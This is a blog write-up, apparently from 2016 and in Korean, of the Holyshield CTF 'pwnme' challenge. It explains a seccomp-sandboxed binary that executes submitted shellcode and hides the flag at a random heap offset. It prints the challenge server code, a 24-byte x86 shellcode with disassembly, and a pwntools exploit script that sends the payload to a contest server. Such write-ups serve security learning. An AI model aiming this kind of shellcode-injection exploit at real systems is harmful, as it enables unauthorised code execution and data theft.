2016. 12. 26. 19:14

## Holyshield CTF_2016(pwnme,pwn)


[Summary]

1. hex-ray가 안됨.

2. 쉘코드 실행이 가능하지만 seccomp sandbox가 적용되어 read, write, close(?)의 syscall만 허용됨.

3. flag를 open한 후 동적할당 받은 영역에 랜덤한 offset값(rand()함수를 이용)을 더한 후 그 곳에 저장.

4. write syscall을 이용하여 해당 flag가 박혀있는 주소를 찾아 그 곳의 flag를 출력하는 shellcode를 작성.

5. shellcode의 크기는 0x20이내여야 함.


[Analysis] - (https://drive.google.com/open?id=0B12bAVEUfDg7dmRuMDJsTTJzX3M) 문제 링크

 우선 server가 동작하고 있는 환경에서 server의 9091포트로 접속하면 아래와 같이 shellcode를 입력 받고 

잘못된 쉘코드를 입력하면 segmentation fault가 뜬다.

[그림 1] pwnme 바이너리 실행


이제 이 바이너리를 분석해보면 우선 shellcode를 실행하기 전 seccomp sandbox를 세팅하는 루틴을

아래 [그림 2]와 같이 확인할 수 있으며 그렇게 중요하진 않다.

[그림 2] seccomp sandbox 룰 추가


그리고 바이너리의 처음부터 살펴보면 signal(alram)을 세팅하여 특정 시간이 지나면 종료되도록 되어 있고, server.py를 보면 알수 있는데

쉘코드가 저장되어 있는 파일을 오픈하여 fgets()로 읽은 다음 메모리에 저장한다.(후에 이 쉘코드가 실행됨)

그런 다음 srand(time(NULL))을 이용하여 random seed값을 준 다음 rand함수를 호출하여 아래 [그림 3]과 같이 특정 연산을 수행한다.

[그림 3] flag가 올라갈 메모리 영역의 주소를 랜덤하게 만들기 위한 루틴


물론 이 연산을 파악하는 건 중요하지 않으므로 넘어가도록 하겠다. 이렇게 offset을 랜덤하게 설정한 후 var_4C변수에 저장을 한 다음 

"flag"라는 파일을 open한 다음 fgets()함수를 이용하여 값을 읽어들인 후 아래 [그림 4]와 같이 메모리에 적재 한다.

[그림 4] flag open & read


여기까지 다 끝내고 나면 마지막으로 "call eax"를 하여 shellcode를 실행시키는데 call eax를 실행하기 전 레지스터와 스택 상황을 보면

아래 [그림 5]와 같다.

[그림 5] shellcode 실행 전 스택 & 레지스터 상황


스택의 esp의 값인 0xbffff0f4에서 0x2326 offset만큼 더하면 동적할당 받은 힙 영역의 주소가 저장되어 있으며 이 주소에 앞에서 만든 

random offset값을 더한 곳에 실제 flag가 들어 있었다. 처음에는 random offset값이 스택영역에 저장되어 있을 줄 모르고 브루트 포싱을

이용하여 rand()를 깨보려고 했으나 범위도 크고 출력 server에서 0x6c만큼 read한 값을 주기 때문에 삽질을 많이 했다.

random_offset은 [그림 4]에서 봤듯이 ebp-0x4c에 위치해 있으므로 이 값을 읽어 들여와 malloc()으로 할당받은 힙 주소에 더하는 

쉘코드를 작성하여 write() syscall로 stdout에 출력하기만 하면 되었다.


[server.py]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!python
import os, sys
from socket import *
import thread
import time
import tempfile
import random
import subprocess
BUFSIZE = 1024
MAXSIZE = 128
HOST = ''
PORT = 9091
RUNNER = './pwnme'
 
def banner():
    fd = open('banner.txt','r')
    buf = fd.read(100000)
    fd.close()
    return buf
 
def TestShellcode(s, sc):
    scsize = len(sc)
    if scsize > MAXSIZE:
        s.send('shellcode is too long...%s' % (MAXSIZE))
        s.close()
        return -1
    return sc
 
def handler(s, addr):
    s.send(banner())
    TIMEOUT = 10
    while True:
        s.send('please input shellcode\n')
        rv = s.recv(MAXSIZE)
        r = TestShellcode(s, rv)
        #print printHex(r)
        if r == -1:
            return
        else:
            #print printHex(r)
            s.send('Okay I\'m execve shellcode...\n')
            fn = tempfile.mktemp()
            open(fn, 'wb').write(r)
            child_pid = os.fork()
            if child_pid == 0:
                cmd = [RUNNER,fn,str(TIMEOUT)]
                fd_popen = subprocess.Popen(cmd, stdout=subprocess.PIPE).stdout
                data = fd_popen.read().strip()
                  fd_popen.close()
                if data == '':
                    s.send("segmentaion fault\n")
                    print "================client================"
                    print "segmentaion fault"
                    print "======================================"
                else:
                    s.send(data[0:60])
                    print "================client================"
                    print data[0:60]
                    print "======================================"
            else:
                pid, status = os.waitpid(child_pid, 0)
                s.close()
                os.unlink(fn)
                print "%s:%s client has been closed with pid(%05d)-%08x" % (addr[0],addr[1], pid, status)
                return
        return
 
def printHex(xhex):
    xtmp = ''
    xhex = xhex.encode('hex')
    for x in range(0len(xhex), 2):
        xtmp += '\\x' + xhex[x:x+2]
    return xtmp
 
if __name__ == '__main__':
    ADDR = (HOST, PORT)
    svr_sock = socket(AF_INET, SOCK_STREAM) 
    svr_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    svr_sock.bind( ADDR )
    svr_sock.listen(10)
    while True:
        print 'Waiting for connection on port: %s' % (PORT)
        cli_sock, cli_addr = svr_sock.accept()
        print 'connected from %s:%s' % ( cli_addr[0], cli_addr[1] )
        thread.start_new_thread(handler, (cli_sock, cli_addr))
 
cs


[shellcode]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Disassembly
Raw Hex (zero bytes in bold):
 
31C0B3018B0C2481C1262300008B09034DB4B26CB004CD80   
 
String Literal:
 
"\x31\xC0\xB3\x01\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x03\x4D\xB4\xB2\x6C\xB0\x04\xCD\x80"
 
Array Literal:
 
{ 0x31, 0xC0, 0xB3, 0x01, 0x8B, 0x0C, 0x24, 0x81, 0xC1, 0x26, 0x23, 0x00, 0x00, 0x8B, 0x09, 0x03, 0x4D, 0xB4, 0xB2, 0x6C, 0xB0, 0x04, 0xCD, 0x80 }
 
Disassembly:
0:  31 c0                   xor    eax,eax
2:  b3 01                   mov    bl,0x1
4:  8b 0c 24                mov    ecx,DWORD PTR [esp]
7:  81 c1 26 23 00 00       add    ecx,0x2326
d:  8b 09                   mov    ecx,DWORD PTR [ecx]
f:  03 4d b4                add    ecx,DWORD PTR [ebp-0x4c]
12: b2 6c                   mov    dl,0x6c
14: b0 04                   mov    al,0x4
16: cd 80                   int    0x80
 
# ref) https://defuse.ca/online-x86-assembler.htm 
cs


[Exploit Code] - pwnme_exploiyt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import hexdump
 
context(arch='i386',os='linux')
local=False
#local=True
 
if local:
    p = remote("127.0.0.1"9091)
else:
    p = remote("1.224.175.27"10030)
 
#binary = ELF("./pwnme")
 
raw_input()
 
#payload1 = "\xBB\x01\x00\x00\x00\x89\xE1\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload2 = "\xBB\x01\x00\x00\x00\x83\xC4\x3C\x89\xE1\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload3 = "\xBB\x01\x00\x00\x00\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload4 = "\xBB\x01\x00\x00\x00\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload5 = "\x31\xDB\x43\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x81\xC1\x31\xAA\x01\x00\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
payload6 = "\x31\xC0\xB3\x01\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x03\x4D\xB4\xB2\x6C\xB0\x04\xCD\x80"
 
print p.recv(1024)
print p.send(payload6+'\n')
print p.recv(1024)
print hexdump.hexdump(p.recv(1024))
cs


[Get Flag~~!!!!]

끝~!

'CTF writeup' 카테고리의 다른 글

[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[RC3 CTF_2016] IMS-hard(pwn)  (2) 2016.11.25
[RC3 CTF_2016] IMS-easy(pwn)  (0) 2016.11.25
Posted by holinder4S